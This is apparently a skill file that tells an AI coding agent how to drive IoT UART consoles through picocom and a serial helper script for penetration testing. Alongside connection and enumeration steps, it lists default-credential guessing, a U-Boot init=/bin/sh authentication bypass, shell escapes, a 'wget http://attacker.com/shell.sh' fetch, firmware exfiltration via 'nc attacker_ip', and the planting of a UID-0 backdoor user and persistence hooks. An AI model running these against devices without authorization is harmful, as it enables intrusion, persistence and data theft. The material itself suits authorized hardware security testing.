IoT UART Console (picocom)

IoT UART Console (picocom)

This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.

Prerequisites

• picocom must be installed on the system
• Python 3 with pyserial library (sudo pacman -S python-pyserial on Arch, or pip install pyserial)
• UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)
• Appropriate permissions to access serial devices (typically /dev/ttyUSB* or /dev/ttyACM*)

Recommended Approach: Serial Helper Script

IMPORTANT: This skill includes a Python helper script (serial_helper.py) that provides a clean, reliable interface for serial communication. This is the RECOMMENDED method for interacting with IoT devices.

Default Session Logging

ALL commands run by Claude will be logged to /tmp/serial_session.log by default.

To observe what Claude is doing in real-time:

# In a separate terminal, run:
tail -f /tmp/serial_session.log

This allows you to watch all serial I/O as it happens without interfering with the connection.

Why Use the Serial Helper?

The helper script solves many problems with direct picocom usage:

• Clean output: Automatically removes command echoes, prompts, and ANSI codes
• Prompt detection: Automatically detects and waits for device prompts
• Timeout handling: Proper timeout management with no arbitrary sleeps
• Easy scripting: Simple command-line interface for single commands or batch operations
• Session logging: All I/O logged to /tmp/serial_session.log for observation
• Reliable: No issues with TTY requirements or background processes

Quick Start with Serial Helper

Single Command:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"

With Custom Prompt (recommended for known devices):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"

Interactive Mode:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive

Batch Commands from File:

# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt

JSON Output (for parsing):

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json

Debug Mode:

python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug

Session Logging (for observation):

# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
  --device /dev/ttyUSB0 \
  --prompt "User@[^>]+>" \
  --logfile /tmp/session.log \
  --interactive

# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log

Note: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring serial sessions.

Serial Helper Options

Required (one of):
  --command, -c CMD         Execute single command
  --interactive, -i         Enter interactive mode
  --script, -s FILE         Execute commands from file

Connection Options:
  --device, -d DEV          Serial device (default: /dev/ttyUSB0)
  --baud, -b RATE           Baud rate (default: 115200)
  --timeout, -t SECONDS     Command timeout (default: 3.0)
  --prompt, -p PATTERN      Custom prompt regex pattern

Output Options:
  --raw, -r                 Don't clean output (show echoes, prompts)
  --json, -j                Output in JSON format
  --logfile, -l FILE        Log all I/O to file (can tail -f in another terminal)
  --debug                   Show debug information

Common Prompt Patterns

The helper script includes common prompt patterns, but you can specify custom ones:

# Uniview camera
--prompt "User@[^>]+>"

# Standard root/user prompts
--prompt "[#\$]\s*$"

# U-Boot bootloader
--prompt "=>\s*$"

# Custom device
--prompt "MyDevice>"

Device Enumeration Example with Serial Helper

Here's a complete example of safely enumerating a device:

# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>"  # Adjust for your device
LOGFILE="/tmp/serial_session.log"

# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"

# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"

# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"

# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"

# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"

# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"

IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.

Alternative: Direct picocom Usage (Advanced)

If you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.

Instructions

1. Connection Setup

CRITICAL: picocom runs interactively and CANNOT be controlled via standard stdin/stdout pipes. Use the following approach:

1. Always run picocom in a background shell using run_in_background: true
2. Monitor output using the BashOutput tool to read responses
3. Send commands by using Ctrl-A Ctrl-S to enter send mode, or by writing to the device file directly

Default connection command:

picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0

Defaults (unless specified otherwise):

• Baud rate: 115200 (most common for IoT devices)
• Device: /dev/ttyUSB0 (most common USB-to-serial adapter)
• Always use --nolock: Prevents file locking issues unless user specifically requests otherwise

Alternative baud rates (if 115200 doesn't work):

• 57600
• 38400
• 19200
• 9600
• 230400 (less common, high-speed)

Alternative device paths:

• /dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, ... (USB-to-serial adapters)
• /dev/ttyACM0, /dev/ttyACM1, ... (USB CDC devices)
• /dev/ttyS0, /dev/ttyS1, ... (built-in serial ports)

Essential picocom options:

• -b or --baud: Set baud rate (use 115200 by default)
• --nolock: Disable file locking (ALWAYS use unless user asks not to)
• --omap crlf: Map output CR to CRLF (helps with formatting)
• --echo: Enable local echo (see what you type)
• --logfile <file>: Log all session output to a file (recommended)
• -q or --quiet: Suppress picocom status messages
• --imap lfcrlf: Map LF to CRLF on input (sometimes needed)

2. Detecting Console State

After connecting, you need to identify what state the device is in:

a) Blank/Silent Console:

• Press Enter several times to check for a prompt
• Try Ctrl-C to interrupt any running processes
• If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys

b) Bootloader (U-Boot, etc.):

• Look for prompts like U-Boot>, =>, uboot>, Boot>
• Bootloaders often have a countdown that can be interrupted
• Common interrupt keys: Space, Enter, specific keys mentioned in boot messages

c) Login Prompt:

• Look for login: or username: prompts
• Common default credentials for IoT devices:
  • root / root
  • admin / admin
  • root / (no password)
  • admin / password
  • Check manufacturer documentation or online databases

d) Shell Access:

• You may drop directly into a root shell
• Look for prompts like #, $, >, or custom prompts

2.1. BusyBox Shells (Most IoT Devices)

IMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.

Identifying BusyBox:

# Check what shell you're using
busybox
busybox --help

# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox

# List available BusyBox applets
busybox --list

BusyBox Limitations:

• Many standard Linux commands may be simplified versions
• Some common flags/options may not be available
• Features like tab completion may be limited or absent
• Some exploitation techniques that work on full Linux may not work

Common BusyBox commands available:

# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)

# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin

BusyBox-specific considerations for pentesting:

• ps output format may differ from standard Linux
• Some privilege escalation techniques require commands not in BusyBox
• File permissions still work the same (SUID, sticky bits, etc.)
• Networking tools are often present (telnet, wget, nc/netcat, ftpget)
• Python/Perl/Ruby are usually NOT available (device storage constraints)

Useful BusyBox commands for enumeration:

# Check BusyBox version (may have known vulnerabilities)
busybox | head -1

# Network utilities often available
nc -l -p 4444  # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1

# httpd (web server) often included
busybox httpd -p 8080 -h /tmp  # Quick file sharing

Reference Documentation:

• BusyBox Official Site
• BusyBox Command List
• BusyBox Source Code

3. Interacting with the Console

Sending commands to picocom:

Since picocom is interactive, you have several options:

Option A: Write directly to the device file

echo "command" > /dev/ttyUSB0

Option B: Use expect or similar tools

expect -c "
  spawn picocom -b 115200 --nolock /dev/ttyUSB0
  send \"command\r\"
  expect \"#\"
  exit
"

Option C: Use screen instead of picocom (may be easier to script)

screen /dev/ttyUSB0 115200

Picocom keyboard shortcuts:

• Ctrl-A Ctrl-X: Exit picocom
• Ctrl-A Ctrl-Q: Quit without resetting
• Ctrl-A Ctrl-U: Increase baud rate
• Ctrl-A Ctrl-D: Decrease baud rate
• Ctrl-A Ctrl-T: Toggle local echo
• Ctrl-A Ctrl-S: Send file (can be used to send commands)

4. Device Enumeration

Once you have shell access, gather the following information:

System Information:

# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo

# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*

# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf

# Mounted filesystems
mount
cat /proc/mounts
df -h

# Running processes
ps aux
ps -ef
top -b -n 1

User and Permission Information:

# Current user context
id
whoami
groups

# User accounts
cat /etc/passwd
cat /etc/shadow  # If readable - major security issue!
cat /etc/group

# Sudo/privilege info
sudo -l
cat /etc/sudoers

Network Services:

# Listening services
netstat -tulpn
ss -tulpn
lsof -i

# Firewall rules
iptables -L -n -v
cat /etc/iptables/*

Interesting Files and Directories:

# Configuration files
ls -la /etc/
find /etc/ -type f -readable

# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/

# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null

# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/

5. Bootloader Exploitation

If you have access to the bootloader (U-Boot, etc.):

Common U-Boot commands:

# Print environment variables
printenv

# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot

# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"

# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000

# Memory examination
md <address>  # Memory display
mm <address>  # Memory modify
mw <address> <value>  # Memory write

# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>

# Other useful commands
help
bdinfo  # Board info
version
reset

6. Privilege Escalation (if not root)

Check for common vulnerabilities:

# Kernel exploits
uname -r  # Check kernel version for known exploits

# Check for exploitable services
ps aux | grep root

# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null

# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab

7. Persistence and Further Access

Establish additional access methods:

# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh

# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start  # Common on embedded devices

# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor

# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local

8. Firmware Extraction

Extract firmware for offline analysis:

# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions

# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin

# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin

# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt

9. Cleanup and Exit

To exit picocom:

• Press Ctrl-A followed by Ctrl-X
• Or use killall picocom from another terminal

If you need to kill the background shell:

• Use the KillShell tool with the appropriate shell_id

Common IoT Device Scenarios

Scenario 1: No Authentication Shell

# Connect
picocom -b 115200 --nolock /dev/ttyUSB0

# Press Enter, get root shell immediately
# Enumerate and exploit

Scenario 2: Password-Protected Shell

# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults

Scenario 3: Bootloader to Root Shell

# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authentication

Scenario 4: Limited Shell Escape

# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi  # Then :!/bin/sh
less /etc/passwd  # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'

Security Testing Checklist

• Identify device and firmware version
• Check for default credentials
• Enumerate network services and open ports
• Check for hardcoded credentials in files
• Test for command injection vulnerabilities
• Check file permissions (SUID, world-writable)
• Test bootloader security (password protection, command restrictions)
• Check for outdated software with known CVEs
• Test for privilege escalation vectors
• Extract firmware for offline analysis
• Document all findings with screenshots/logs

Best Practices

1. Always log your session: Use --logfile session.log
2. Document everything: Take notes on commands, responses, and findings
3. Be patient: Some devices are slow and may take time to respond
4. Check baud rate: Wrong baud rate = garbage output. Try common rates if you see garbled text
5. Research the device: Look up known vulnerabilities, default credentials, and common issues
6. Use proper authorization: Only perform pentesting on devices you own or have explicit permission to test
7. Backup: If possible, backup firmware before making modifications
8. Be careful with bootloader: Incorrect bootloader commands can brick devices

Troubleshooting

Problem: Garbled text or strange characters

• Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600

Problem: No output at all

• Solution: Check physical connections, try pressing Enter, check if device is powered on

Problem: "Device busy" or "Permission denied"

• Solution: Close other programs using the serial port, check user permissions (sudo usermod -a -G dialout $USER)

Problem: Commands not echoing

• Solution: Enable local echo with --echo flag or press Ctrl-A Ctrl-T in picocom

Problem: Wrong line endings (extra lines or no line breaks)

• Solution: Use --omap crlf or --imap lfcrlf options

Example Usage

# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0

# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0

# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0

# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitor

References

• picocom documentation
• U-Boot documentation
• IoT pentesting resources and vulnerability databases
• Device-specific documentation and datasheets